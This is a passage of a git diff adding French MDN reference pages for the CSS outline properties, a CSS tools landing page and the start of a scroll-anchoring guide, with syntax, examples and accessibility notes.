+title: Générateur de dégradés linéaires
+slug: Web/CSS/Outils/Générateur_de_dégradés_linéaires
+tags:
+  - CSS
+  - Outils
+translation_of: Web/CSS/Tools/Linear-gradient_Generator
+---
+<p>{{Draft}}</p>
+
+<div class="note">
+<p><strong>Note</strong><strong> :</strong> Cette page n'est pas complète, l'outil doit être finalisé sur la version anglaise.</p>
+</div>
diff --git a/files/fr/web/css/outils/index.html b/files/fr/web/css/outils/index.html
new file mode 100644
index 0000000000..ac78261ad4
--- /dev/null
+++ b/files/fr/web/css/outils/index.html
@@ -0,0 +1,20 @@
+---
+title: Outils
+slug: Web/CSS/Outils
+tags:
+  - CSS
+  - Outils
+translation_of: Web/CSS/Tools
+---
+<p>CSS fournit de nombreuses fonctionnalités qui peuvent être paramétrées avec différents facteurs. Il est donc utile de pouvoir visualiser ces paramètres lorsqu'on manipule ces propriétés. Cette page indique différents outils qui pourront vous être utiles lorsque vous construirez vos feuilles de style avec ces fonctionnalités.</p>
+
+<p>{{LandingPageListSubpages}}</p>
+
+<h2 id="Autres_outils">Autres outils</h2>
+
+<ul>
+ <li><a href="http://jeremyckahn.github.io/stylie/">Stylie </a>pour les animations</li>
+ <li>Connaître les informations d'affichage d'un appareil (utile pour la conception de sites adaptatifs) : <a href="http://mydevice.io">mydevice.io</a></li>
+ <li>Construire des menus CSS - <a href="https://cssmenumaker.com/">cssmenumaker.com</a></li>
+ <li>Un linter CSS qui permet de respecter des conventions homogènes et d'éviter des erreurs dans les feuilles de style - <a href="https://stylelint.io/">stylelint</a></li>
+</ul>
diff --git a/files/fr/web/css/outline-color/index.html b/files/fr/web/css/outline-color/index.html
new file mode 100644
index 0000000000..9e3bc20978
--- /dev/null
+++ b/files/fr/web/css/outline-color/index.html
@@ -0,0 +1,133 @@
+---
+title: outline-color
+slug: Web/CSS/outline-color
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/outline-color
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>outline-color</code></strong> permet de définir la couleur avec laquelle on trace le conteur de l'élément. Ce contour est tracé autour de <a href="/fr/Apprendre/CSS/Les_bases/Le_mod%C3%A8le_de_bo%C3%AEte">la boîte de bordure</a> et peut être utilisé pour faire ressortir l'élément.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/outline-color.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>À la différence de la bordure, le contour est tracé en dehors du cadre de l'élément et peut donc chevaucher d'autres contenus. La bordure, en revanche, modifiera la disposition de la page afin de s'assurer qu'aucun chevauchement involontaire ne se produit.La propriété <code>outline-color</code> est également synthétisée avec la propriété raccourcie {{cssxref("outline")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p> </p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+outline-color: invert;
+
+/* Valeurs de couleur */
+/* Type &lt;color&gt;       */
+outline-color: red;
+outline-color: #f92525;
+outline-color: rgb(30,222,121);
+
+/* Valeurs globales */
+outline-color: inherit;
+outline-color: initial;
+outline-color: unset;
+</pre>
+
+<p> </p>
+
+<p>La propriété <code>outline-color</code> est définie avec une des valeurs listées ci-après.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>Voir la page {{cssxref("&lt;color&gt;")}} pour plus d'informations sur les valeurs utilisables avec ce type.</dd>
+ <dt><code>invert</code></dt>
+ <dd>Afin de s'assurer que la bordure est visible, on applique une inversion de couleur avec l'arrière-plan. Cela permet de renforcer le contraste, quelle que soit la couleur de l'arrière-plan. Cette valeur ne doit pas nécessairement être supportée par les navigateurs. Si elle ne l'est pas, ils considèreront la règle comme invalide.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html;">&lt;p class="exemple"&gt;Mon contour est blue, da ba dee.&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight:[3]">.exemple {
+  /* Tout d'abord on utiliser outline */
+  /* pour définir le contour          */
+  outline: 2px solid;
+
+  /* Ensuite on précise sa couleur avec */
+  /* outline-color                      */
+  outline-color: #0000FF;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","100%")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p><a href="/fr/docs/Web/CSS/:focus">L'utilisation d'un focus personnalisé</a> s'accompagne généralement d'une modification de la propriété {{cssxref("outline")}}. Si la couleur du contour est modifiée, il est nécessaire de vérifier que le contraste entre le contour et l'arrière-plan est suffisant afin que le contour puisse clairement être distingué.</p>
+
+<p>Le ratio de contraste est déterminé en comparaisant les luminosités des deux couleurs. Pour le contraste entre un texte et son arrière-plan, les recommandations <a href="https://www.w3.org/WAI/intro/wcag">Web Content Accessibility Guidelines (WCAG)</a> requièrent un ratio de 4.5:1 pour le contenu textuel et un ratio de 3:1 pour les titres ou les textes plus grands (18.66px et en gras ou 24px ou plus grand).</p>
+
+<ul>
+ <li><a href="https://webaim.org/resources/contrastchecker/">Vérificateur de contraste WebAIM (en anglais)</a></li>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Comprendre les règles WCAG 1.4</a></li>
+ <li><em><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html">Understanding Success Criterion 1.4.3 - W3C Understanding WCAG 2.0</a></em><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html"> (en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#outline-color', 'outline-color')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Aucun changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'outline-color')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>outline-color</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'ui.html#propdef-outline-color', 'outline-color')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.outline-color")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Le type de donnée {{cssxref("&lt;color&gt;")}}</li>
+ <li>Les autres propriétés relatives aux couleurs : {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}} et {{cssxref("column-rule-color")}}</li>
+ <li><a href="/fr/docs/Web/HTML/Applying_color">Appliquer des couleurs sur des éléments HTML grâce à CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/outline-offset/index.html b/files/fr/web/css/outline-offset/index.html
new file mode 100644
index 0000000000..d46cc50ed6
--- /dev/null
+++ b/files/fr/web/css/outline-offset/index.html
@@ -0,0 +1,94 @@
+---
+title: outline-offset
+slug: Web/CSS/outline-offset
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/outline-offset
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>outline-offset</code></strong> définit l'espace qu'il y a entre la bordure dessinée par {{cssxref("outline")}} et le bord de <a href="/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte">la boîte de bordure</a> d'un élément. Cet espace est transparent et la couleur visible en arrière-plan sera déterminée par l'élément parent.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/outline-offset.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+outline-offset: 3px;
+outline-offset: 0.2em;
+
+/* Valeurs globales */
+outline-offset: inherit;
+outline-offset: initial;
+outline-offset: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>La largeur de l'espace, voir la page {{cssxref("&lt;length&gt;")}} pour plus d'informations. Les valeurs négatives sont utilisées et font que la bordure dessinée est dessinée dans l'élément.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple {
+  outline: 1px dashed red;
+  /* On décale la ligne de 10px */
+  outline-offset: 10px;
+  background: yellow;
+  margin: 15px;
+  border: 1px solid black;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="exemple"&gt;La bordure est décalée&lt;p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'outline-offset')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>outline-offset</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#outline-offset', 'outline-offset')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.outline-offset")}}</p>
diff --git a/files/fr/web/css/outline-style/index.html b/files/fr/web/css/outline-style/index.html
new file mode 100644
index 0000000000..d205203a01
--- /dev/null
+++ b/files/fr/web/css/outline-style/index.html
@@ -0,0 +1,150 @@
+---
+title: outline-style
+slug: Web/CSS/outline-style
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/outline-style
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>outline-style</code></strong> permet de définir la mise en forme utilisée pour dessiner la bordure d'un élément. Cette bordure est dessinée autour de <a href="/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte">la boîte de bordure</a> et peut être utilisée afin de faire ressortir l'élément.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/outline-style.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette propriété est synthétisée grâce à la propriété {{cssxref("outline")}} qui regroupe outline-style, {{cssxref("outline-width")}} et {{cssxref("outline-color")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* Valeurs avec un mot-clé */
+outline-style: auto;
+outline-style: none;
+outline-style: dotted;
+outline-style: dashed;
+outline-style: solid;
+outline-style: double;
+outline-style: groove;
+outline-style: ridge;
+outline-style: inset;
+outline-style: outset;
+
+/* Valeurs globales */
+outline-style: inherit;
+outline-style: initial;
+outline-style: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>L'agent utilisateur peut afficher une bordure avec une mise en forme par défaut.</dd>
+ <dt><code>none</code></dt>
+ <dd>Aucune bordure n'est dessinée (équivalent à {{cssxref("outline-width")}} avec la valeur <code>0</code>).</dd>
+ <dt><code>dotted</code></dt>
+ <dd>Le bordure est dessinée avec une série de points.</dd>
+ <dt><code>dashed</code></dt>
+ <dd>La bordure est dessinée avec des tirets.</dd>
+ <dt><code>solid</code></dt>
+ <dd>La bordure est dessinée avec une ligne continue.</dd>
+ <dt><code>double</code></dt>
+ <dd>La bordure est dessinée avec deux lignes continues. La valeur de la propriété {{cssxref("outline-width")}} désigne la somme de la largeur des deux lignes et de l'espace entre elles.</dd>
+ <dt><code>groove</code></dt>
+ <dd>La bordure est dessinée comme si elle était gravée dans le document.</dd>
+ <dt><code>ridge</code></dt>
+ <dd>La forme obtenue est opposée à <code>groove</code> : la bordure semble dépasser du document.</dd>
+ <dt><code>inset</code></dt>
+ <dd>La bordure semble être intégrée dans le document..</dd>
+ <dt><code>outset</code></dt>
+ <dd>La forme obtenue est opposée à <code>inset</code> : la bordure semble ressortir du document.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">.exemple-groove {
+  outline-style: groove;
+  outline-color: red;
+  outline-width: 2px;
+}
+
+.exemple-outset {
+  outline-style: outset;
+  outline-color: green;
+  outline-width: 1px;
+}</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p class="exemple-groove"&gt;Ça c'est le groove&lt;/p&gt;
+&lt;p class="exemple-outset"&gt;Et ça c'est outset&lt;/p&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_simple","100%","100%")}}</p>
+
+<h3 id="Example_0_-_auto" name="Example_0_-_auto">Utilisation de la valeur <code>auto</code></h3>
+
+<p>La valeur <code>auto</code> indique une bordure sur mesure selon l'interface du système d'exploitation ou de l'agent utilisateur.</p>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">.auto {
+  outline-style: auto; /* same result as "outline: auto" */
+}
+
+/* To make the Demo clearer */
+* { outline-width: 10px; padding: 15px; } </pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+  &lt;p class="auto"&gt;Outline Demo&lt;/p&gt;
+&lt;/div&gt; </pre>
+
+<h4 id="Résulat">Résulat</h4>
+
+<p>{{EmbedLiveSample('Example_0_-_auto')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#outline-style', 'outline-style')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>La valeur <code>auto</code> a été ajoutée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'ui.html#propdef-outline-style', 'outline-style')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.outline-style")}}</p>
diff --git a/files/fr/web/css/outline-width/index.html b/files/fr/web/css/outline-width/index.html
new file mode 100644
index 0000000000..dd552aa948
--- /dev/null
+++ b/files/fr/web/css/outline-width/index.html
@@ -0,0 +1,135 @@
+---
+title: outline-width
+slug: Web/CSS/outline-width
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/outline-width
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>outline-width</code></strong> est utilisée afin de définir l'épaisseur de la bordure (<em>outline</em>) d'un élément. Cette bordure est dessinée autour des éléments et délimite <a href="/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte">la boîte de bordure</a>. Visuellement, cela permet de faire ressortir l'élément.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/outline-width.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot clé */
+outline-width: thin;
+outline-width: medium;
+outline-width: thick;
+
+/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+outline-width: 1px;
+outline-width: 0.1em;
+
+/* Valeurs globales */
+outline-width: inherit;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>thin</code></dt>
+ <dd>La largeur appliquée dépendra de l'agent utilisateur. On attend une largeur fine. Généralement, pour les navigateurs de bureau comme Firefox, cela correspondra à <code>1px</code>.</dd>
+ <dt><code>medium</code></dt>
+ <dd>La largeur appliquée dépendra de l'agent utilisateur. On attend une largeur moyenne. Généralement, pour les navigateurs de bureau comme Firefox, cela correspondra à <code>3px</code>.</dd>
+ <dt><code>thick</code></dt>
+ <dd>La largeur appliquée dépendra de l'agent utilisateur. On attend une largeur de trait prononcée. Généralement, pour les navigateurs de bureau comme Firefox, cela correspondra à <code>5px</code>.</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Voir la page sur le type {{cssxref("&lt;length&gt;")}} pour les différentes valeurs correspondantes.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;span id="thin"&gt;thin&lt;/span&gt;
+&lt;span id="medium"&gt;medium&lt;/span&gt;
+&lt;span id="thick"&gt;thick&lt;/span&gt;
+&lt;span id="deuxpixels"&gt;2px&lt;/span&gt;
+&lt;span id="unex"&gt;1ex&lt;/span&gt;
+&lt;span id="deuxem"&gt;2em&lt;/span&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">span {
+  outline-style: solid;
+  display: inline-block;
+  margin: 20px;
+}
+
+#thin {
+  outline-width: thin;
+}
+
+#medium {
+  outline-width: medium;
+}
+
+#thick {
+  outline-width: thick;
+}
+
+#deuxpixels {
+  outline-width: 2px;
+}
+
+#unex {
+  outline-width: 1ex;
+}
+
+#deuxem {
+  outline-width: 2em;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '100%', '80')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#outline-width', 'outline-width')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Aucun changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'outline-width')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>outline-width</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'ui.html#propdef-outline-width', 'outline-width')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.outline-width")}}</p>
diff --git a/files/fr/web/css/outline/index.html b/files/fr/web/css/outline/index.html
new file mode 100644
index 0000000000..11148a26fa
--- /dev/null
+++ b/files/fr/web/css/outline/index.html
@@ -0,0 +1,159 @@
+---
+title: outline
+slug: Web/CSS/outline
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/outline
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>outline</code></strong> est <a href="/fr/docs/Web/CSS/Propri%C3%A9t%C3%A9s_raccourcies">une propriété raccourcie</a> qui permet de définir, dans une seule déclaration, une ou plusieurs des propriétés parmi {{cssxref("outline-style")}}, {{cssxref("outline-width")}} et {{cssxref("outline-color")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/outline.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>À l'instar des autres propriétés raccourcies, toutes les valeurs qui ne sont pas explicitement utilisées dans la déclaration sont réinitialisées avec <a href="/fr/docs/Web/CSS/Valeur_initiale">leur valeur initiale</a>.</p>
+
+<h3 id="Bordures_et_contours">Bordures et contours</h3>
+
+<p>Les contours (<em>outline</em>) diffèrent des bordures, notamment sur les points suivants :</p>
+
+<ul>
+ <li>Les contours ne prennent pas d'espace et sont dessinés au-dessus du contenu.</li>
+ <li>Les contours peuvent avoir une forme qui n'est pas rectangulaire. Ils seront rectangulaires avec Gecko et Firefox mais Opera dessinera une forme autour du contenu (cf. exemples).</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* style */
+outline: solid;
+
+/* couleur | style */
+outline: #f66 dashed;
+
+/* style | épaisseur */
+outline: inset thick;
+
+/* couleur | style | épaisseur */
+outline: green solid 3px;
+
+/* Valeurs globales */
+outline: inherit;
+outline: initial;
+outline: unset;
+</pre>
+
+<p id="Values">La propriété <code>outline</code> peut être définie avec une, deux ou trois valeurs parmi celles listées ci-après. L'ordre de ces valeurs n'a pas d'importance.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Si aucun style n'est défini, le contour sera invisible (car le style par défaut vaut <code>none</code>).</p>
+</div>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;'outline-width'&gt;</code></dt>
+ <dd>Voir {{cssxref("outline-width")}}.</dd>
+ <dt><code>&lt;'outline-style'&gt;</code></dt>
+ <dd>Voir {{cssxref("outline-style")}}.</dd>
+ <dt><code>&lt;'outline-color'&gt;</code></dt>
+ <dd>Depuis Gecko 1.9 (Firefox 3), la valeur de la propriété {{cssxref("color")}} de l'élément est utilisée. Voir {{cssxref("outline-color")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p class="exemple"&gt;Je suis entouré de tirets rouges&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.exemple {
+  outline: dashed red 2px;
+  /* on aurait pu utiliser          */
+  /* les trois propriétés unitaires */
+  /* et avoir le même résultat      */
+}
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_simple")}}</p>
+
+<h3 id="Exemple_de_contour_non_rectangulaire">Exemple de contour non rectangulaire</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p class="exemple"&gt;
+  petit texte
+    &lt;span class=grand&gt;Grand Texte&lt;/span&gt;
+  petit texte
+&lt;/p&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">.exemple {
+  outline: dotted orange 1px;
+}
+
+.grand {
+  font-size:xx-large;
+}
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_de_contour_non_rectangulaire")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Utiliser la propriété <code>outline</code> avec une valeur <code>0</code> ou <code>none</code> supprimera le style par défaut du navigateur pour le focus. Lorsqu'on interagit avec un élément, celui-ci doit avoir un indicateur visible. Aussi, veillez à fournir un tel indicateur si vous retirez le style par défaut pour le focus</p>
+
+<ul>
+ <li>{{cssxref(":focus")}}</li>
+ <li><a href="https://www.deque.com/blog/give-site-focus-tips-designing-usable-focus-indicators/">Comment concevoir des indicateurs de focus utiles et utilisables (en anglais)</a></li>
+ <li>
+  <p><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/navigation-mechanisms-focus-visible.html"><em>Understanding Success Criterion 2.4.7  | Understanding WCAG 2.0</em> (en anglais)</a></p>
+ </li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#outline', 'outline')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Aucun changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'ui.html#propdef-outline', 'outline')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.outline")}}</p>
diff --git a/files/fr/web/css/overflow-anchor/guide_ancrage_défilement/index.html b/files/fr/web/css/overflow-anchor/guide_ancrage_défilement/index.html
new file mode 100644
index 0000000000..e50bb21aa3
--- /dev/null
+++ b/files/fr/web/css/overflow-anchor/guide_ancrage_défilement/index.html
@@ -0,0 +1,79 @@
+---
+title: 'Guide : ancrage du défilement (scroll anchoring)'
+slug: Web/CSS/overflow-anchor/Guide_ancrage_défilement
+tags:
+  - CSS
+  - Guide
+  - Intermédiaire
+translation_of: Web/CSS/overflow-anchor/Guide_to_scroll_anchoring
+---
+<div>{{CSSRef}}</div>
+
+<p>Lorsque vous naviguez sur le Web avec une connexion plus ou moins performante, vous avez déjà pu rencontrer le problème suivant : vous faites défiler verticalement le contenu d'une page qui est en cours de chargement puis, au milieu de votre lecture, le contenu se décale brutalement plus bas (parce que des images au-dessus ou d'autres éléments ont fini de charger et s'affichent enfin).</p>
+
+<p>L'ancrage du défilement (ou <em>scroll anchoring</em> en anglais) est une fonctionnalité des navigateurs qui vise à résoudre ce problème de « saut » (qui se produit lorsque l'utilisateur a déjà suffisamment fait défiler le contenu pour arriver sur une autre partie du document).</p>
+
+<h2 id="Comment_cela_fonctionne">Comment cela fonctionne ?</h2>
+
+<p>L'ancrage du défilement ajuste la position du défilement pour compenser les modification apportées en dehors de la zone d'affichage (<em>viewport</em>). Cela signifie que l'emplacement atteint par l'utilisateur reste dans la zone d'affichage (la position de défilement se retrouve donc implicitement modifiée en termes de distance parcourue sur le document).</p>
+
+<h2 id="Comment_activer_l'ancrage_du_défilement">Comment activer l'ancrage du défilement ?</h2>
+
+<p>Il n'y a rien à fait. Cette fonctionnalité est activée par défaut pour les navigateurs qui la prennent en charge. Dans la plupart des cas, ces sauts inattendus ne sont pas une expérience voulue.</p>
+
